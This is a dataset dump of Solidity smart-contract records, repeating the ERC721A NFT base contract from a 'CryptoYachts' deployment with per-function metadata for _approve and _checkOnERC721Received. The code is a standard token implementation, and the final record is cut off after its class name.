contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
CryptoYachts
CryptoYachts.sol
0x7a772afba91b5569fa62a096ff20c257b9457daa
Solidity
ERC721A
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) external view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
/** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */
NatSpecMultiLine
_approve
function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); }
/** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */
NatSpecMultiLine
v0.8.12+commit.f00d7308
MIT
ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d
{ "func_code_index": [ 18091, 18292 ] }
12,400
CryptoYachts
CryptoYachts.sol
0x7a772afba91b5569fa62a096ff20c257b9457daa
Solidity
ERC721A
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) external view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
/** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */
NatSpecMultiLine
_checkOnERC721Received
function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } }
/** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */
NatSpecMultiLine
v0.8.12+commit.f00d7308
MIT
ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d
{ "func_code_index": [ 18852, 19647 ] }
12,401
CryptoYachts
CryptoYachts.sol
0x7a772afba91b5569fa62a096ff20c257b9457daa
Solidity
ERC721A
